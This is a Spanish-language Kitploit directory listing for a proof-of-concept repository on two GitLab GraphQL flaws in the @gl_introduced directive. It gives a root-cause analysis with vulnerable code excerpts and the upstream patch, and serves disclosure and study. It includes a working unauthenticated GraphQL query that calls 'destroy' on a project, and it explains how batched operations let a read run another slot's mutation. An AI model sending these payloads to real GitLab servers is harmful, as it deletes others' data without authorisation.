Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-19478 — Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo. | Kitploit
Herramientas/GitHubGitHub/n0xdaemon/cve-2026-19478
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Proporciona exploits PoC y análisis de causa raíz de dos vulnerabilidades de la directiva `@gl_introduced` de GitLab GraphQL: ejecución de métodos no autenticada e intercambio de documentos por lotes, con parche upstream y evidencia en vivo.

Ver Repositorio
24hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19478 — Vulnerabilidades del filtro de versiones @gl_introduced de GitLab GraphQL

Un laboratorio de reproducción para dos errores relacionados en la funcionalidad de filtro de versiones de GraphQL de GitLab (la directiva @gl_introduced). Ambos residen en la misma área funcional, se corrigen con el mismo parche upstream y ambos permiten que una solicitud GraphQL llegue a rutas de código que nunca declaró:

  • Ejecución de método mediante campo de respaldo (fallback-field) — una sola consulta no autenticada y no agrupada puede invocar un método arbitrario de cero argumentos (p. ej., destroy) en el modelo detrás de cualquier tipo GraphQL, con solo nombrar un campo que no existe y etiquetarlo con @gl_introduced.
  • Intercambio de documento entre operaciones — en una solicitud agrupada (multiplex), el documento de consulta analizado de una operación puede sustituirse por el de otra, de modo que una ranura que declaró una lectura inofensiva termina ejecutando la mutación de otra ranura.
Afectado18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Corregido18.11.11, 19.0.8, 19.1.6, 19.2.4
Objetivo del laboratoriogitlab/gitlab-ce:19.2.2-ce.0 (última compilación antes de la corrección)
DesencadenanteDirectiva GraphQL @gl_introduced, sola o dentro de un lote

Estructura del repositorio

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Todo lo que está bajo src/ es código fuente upstream textual, nunca reimplementado: el cargador superpone src/vuln o src/patched sobre src/common.


1. Causa raíz

1a. Campo de respaldo → resolución de método predeterminada de graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback permite que una consulta haga referencia a un campo que aún no existe en un tipo sin que la solicitud falle; está pensado para despliegues progresivos (rolling deploys), donde el esquema de un nodo antiguo aún no tiene un campo que un nodo más nuevo ya incluye. Su override de get_field comprueba si el campo solicitado falta y la solicitud está marcada con contain_future_fields y, si es así, devuelve un campo sintético en lugar de lanzar una excepción:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

El problema: este GraphQL::Schema::Field se construye sin método de resolución, sin clase de resolución y sin bloque. Entonces se aplica la resolución de campo predeterminada de graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym es el nombre del campo, en notación underscore; es decir, exactamente la cadena que el atacante puso en la consulta. Si el objeto detrás del tipo GraphQL (el modelo ActiveRecord) tiene, casualmente, un método público real de cero argumentos con ese nombre, graphql-ruby lo invoca y devuelve su resultado (coercionado al tipo). fallback_value: nil solo se aplica cuando el método realmente no existe; no hace nada para impedir que uno real se ejecute.

Por lo tanto: consulta cualquier tipo con un campo nombrado como un método destructivo real — destroy, por ejemplo — etiquétalo con @gl_introduced para que sobreviva hasta la ejecución, y el método se ejecuta.

1b. Intercambio de documento entre operaciones

IntroducedTracer implementa el resto de la funcionalidad de filtro de versiones a través de dos hooks de traza de graphql-ruby: parse (una vez por operación) y execute_query (una vez por operación). En la compilación vulnerable, almacena su estado por operación en variables de instancia simples en el objeto de traza:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

El problema: graphql-ruby comparte UNA instancia de traza entre todas las operaciones de una solicitud multiplexada, y las analiza todas antes de ejecutar cualquiera de ellas. Así, en un lote de dos operaciones:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 lleva un campo futuro @gl_introduced)

Después del análisis, solo sobrevive el estado de la última operación. Luego se ejecuta:

  1. execute_query(op1) → la marca es true, por lo que el documento de op1 se sobrescribe con op2_doc y se vuelve a preparar → la ranura de op1 ejecuta la operación de op2.

op1 declaró una lectura; ejecuta la escritura de op2.

La corrección

patch-19.2.2-to-19.2.4.diff cierra ambos:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Flujo del exploit

2a. Campo de respaldo — solicitud única, sin autenticación, sin agrupación

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Sin cabecera Authorization. Una operación, sin lote. destroy no es un campo real en Project; ni siquiera existe en el esquema, pero la directiva hace que FutureFieldFilter lo elimine antes de la validación estática y active contain_future_fields para la ejecución, donde get_field devuelve un campo sin resolver llamado destroy y graphql-ruby llama a project.public_send(:destroy).

Descargar herramienta